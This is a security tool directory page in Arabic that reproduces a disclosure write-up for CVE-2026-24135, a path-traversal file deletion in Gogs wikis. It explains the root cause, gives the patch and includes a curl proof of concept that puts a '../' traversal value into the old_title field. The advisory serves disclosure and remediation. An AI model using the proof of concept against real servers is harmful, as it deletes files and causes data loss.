Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24135 — حذف ملفات تعسفي في Gogs عبر عبور المسار في Wiki | Kitploit
أدوات/GitHubGitHub/reschjonas/cve-2026-24135
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالتعلم والتعليم
GitHubreschjonas/cve-2026-24135

CVE-2026-24135

حذف ملفات تعسفي في Gogs عبر عبور المسار في Wiki

عرض المستودع
11منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-24135: حذف تعسفي للملفات في Gogs عبر اجتياز المسار في الويكي

الخطورة: عالية (CVSS 7.5)
البرمجيات المتأثرة: Gogs <= 0.13.3
تم التصحيح في: 0.13.4, 0.14.0+dev
النشرة الأمنية: GHSA-jp7c-wj6q-3qf2
التصحيح: gogs/gogs#8099


الملخص

أثناء تدقيق أمني لـ Gogs (خدمة Git شهيرة ذاتية الاستضافة مكتوبة بلغة Go)، اكتشفت ثغرة اجتياز مسار في دالة updateWikiPage. وهي تسمح لمستخدم مصادق يمتلك صلاحية الكتابة إلى الويكي بـ حذف ملفات تعسفية على الخادم عبر حقن تسلسلات اجتياز المسار في معامل old_title في نموذج تحرير الويكي.


السبب الجذري

تكمن الثغرة في خلل تعقيم غير متماثل في internal/database/wiki.go. عند تحديث صفحة الويكي، تتعامل الدالة مع معاملي العنوان بشكل مختلف:

المعاملهل تم تعقيمه؟يُستخدم في
title (الاسم الجديد)نعم — عبر ToWikiPageName()path.Join() لإنشاء الملف
oldTitle (الاسم السابق)لاpath.Join() + os.Remove()

الكود القابل للاستغلال

root@kitploit:~
// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABLE
}

تتدفق قيمة oldTitle مباشرة من إدخال النموذج الخاضع لتحكم المستخدم عبر معالج المسار إلى os.Remove() دون أي تعقيم للمسار.


تدفق البيانات

root@kitploit:~
User Input (Form)          Route Handler                    Database Function
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (unsanitized)   │        │ wiki.go:246         │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ No sanitization!    │          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

متجه الهجوم

المتطلبات المسبقة: مستخدم مصادق يمتلك صلاحية الكتابة إلى الويكي الخاص بأي مستودع.

  1. انتقل إلى تحرير صفحة الويكي موجودة
  2. اعترض طلب POST المرسل إلى /repo/wiki/edit
  3. عدّل حقل النموذج old_title ليتضمن تسلسلات اجتياز المسار (على سبيل المثال: ../../../../tmp/target_file)
  4. أرسل الطلب
  5. يقوم الخادم بتحليل مسار الاجتياز وحذف الملف المستهدف

إثبات المفهوم

root@kitploit:~
# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Result: /tmp/target_file.md is deleted from the server

يتم إلحاق الامتداد .md تلقائيًا. يمكن حذف أي ملف ينتهي بـ .md تملك عملية Gogs صلاحية الكتابة إليه.


التأثير

التأثيرالوصف
حذف تعسفي للملفاتحذف أي ملف .md يمكن لعملية Gogs الكتابة إليه
حرمان من الخدمةإزالة ملفات إعدادات أو بيانات حساسة
فقدان البياناتتدمير صفحات الويكي الخاصة بمستخدمين آخرين، أو التوثيق، أو ملفات المستودعات
تصعيد محتملعند ربطها بثغرات أخرى، قد تؤدي إلى اختراق أكبر

الإصلاح

طبّق نفس تعقيم ToWikiPageName على oldTitle المُطبَّق بالفعل على title:

root@kitploit:~
 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... existing code ...

     title = ToWikiPageName(title)

+    // Sanitize oldTitle to prevent path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }

اقترحت هذا الإصلاح أثناء الإفصاح ونفّذه مطوّرو Gogs في PR #8099.


الجدول الزمني للإفصاح

التاريخالحدث
2025-12-13اكتشاف الثغرة أثناء التدقيق الأمني
2025-12-13تقديم النشرة الأمنية عبر GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2)
2026-01-20متابعة مع مطوّري Gogs
2026-01-20اعترف المطوّرون بالثغرة
2026-01-22دمج التصحيح (#8099)
2026-01-22تعيين CVE-2026-24135 بواسطة GitHub
2026-02-06الإفصاح العلني

المراجع

  • النشرة الأمنية على GitHub: GHSA-jp7c-wj6q-3qf2
  • التصحيح: gogs/gogs#8099
  • مشروع Gogs
تنزيل الأداة